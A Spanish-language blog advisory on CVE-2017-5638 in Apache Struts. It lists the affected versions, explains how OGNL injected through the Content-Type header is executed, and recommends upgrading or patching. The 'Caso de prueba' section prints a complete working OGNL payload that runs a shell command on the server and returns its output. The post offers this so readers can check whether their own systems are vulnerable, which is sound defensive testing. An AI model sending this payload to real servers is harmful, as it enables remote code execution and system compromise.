CVE-2017-5638 – Vulnerabilidad en Struts permite la ejecución de código remoto

por / Miércoles, 15 Marzo 2017 / Publicado enBlog
IONIC Framework se expande para escritorio
BeeCon2017: se acaba el plazo para sacar tu entrada de madrugador!

Recientemente se ha detectado una vulnerabilidad en Struts que permite la ejecución de código remoto de forma extremadamente sencilla. Las versiones afectas son las comprendidas entre Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 y se recomienda actualizar a las últimas versiones liberadas.

Struts es un framework altamente utilizado para el desarrollo de aplicaciones web y debido a la facilidad de ejecución del exploit el número de sistemas comprometidos no para de aumentar. En este artículo reflejamos los puntos destacados del exploit y el caso de prueba para testear si nuestro sistema está afectado

 

Descripción de la vulnerabilidad

Struts simplifica el tratamiento de las subidas de archivos mediante un interceptor configurable en la pila de llamadas (FileUploadInterceptor.java) que interpreta el contenido de los formularios multipart/form-data. Cuando se produce un error en la interpretación del formulario se genera un mensaje de error y es en la generación de dicho mensaje donde el contenido del exploit es ejecutado por el interprete OGNL, dando como resultado la ejecución del código malicioso y el volcado de la respuesta.

 

Caso de prueba

El error que se quiere forzar en el servidor es en la interpretación de la cabecera ‘Content-Type‘, que contendrá el código OGNL. Para lanzar la petición existen numerosos scripts Python, pero en el caso de aplicaciones que requieren autenticación previa o que no tienen configurado el interceptor en todas sus páginas hemos encontrado más útil el hacerlo mediante una extensión de navegador que nos permita modificar la cabecera una vez hemos accedido a la aplicación y vamos a usar los controles vulnerables.

La cabecera sobre-escrita es ‘Content-Type’ y el valor:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -la').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Como se puede observar en la expresión anterior, el comando que vamos a lanzar de forma remota es ‘ls -la’ y si la aplicación está afectada obtendremos en navegador el resultado de la ejecución del comando en el servidor.

Para poder validar que nuestro entorno de pruebas es correcto podemos desplegar en un servidor local cualquier aplicación de demostración de Struts con las versiones afectadas, como por ejemplo esta .

 

Solución

La solución recomendable, tal y como hemos indicado al principio del artículo, es la actualización de Struts a las últimas versiones. Si no fuera posible siempre se puede sacar el interceptor de la pila de llamadas si no es necesario, o parchear la clase con el diff del control de versiones.

 

Referencias

Common Vulnerabilities and Exposures – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

Struts Security Bulletins – https://cwiki.apache.org/confluence/display/WW/S2-045 

 

Etiquetado bajo: , ,

Deja un comentario

SUBIR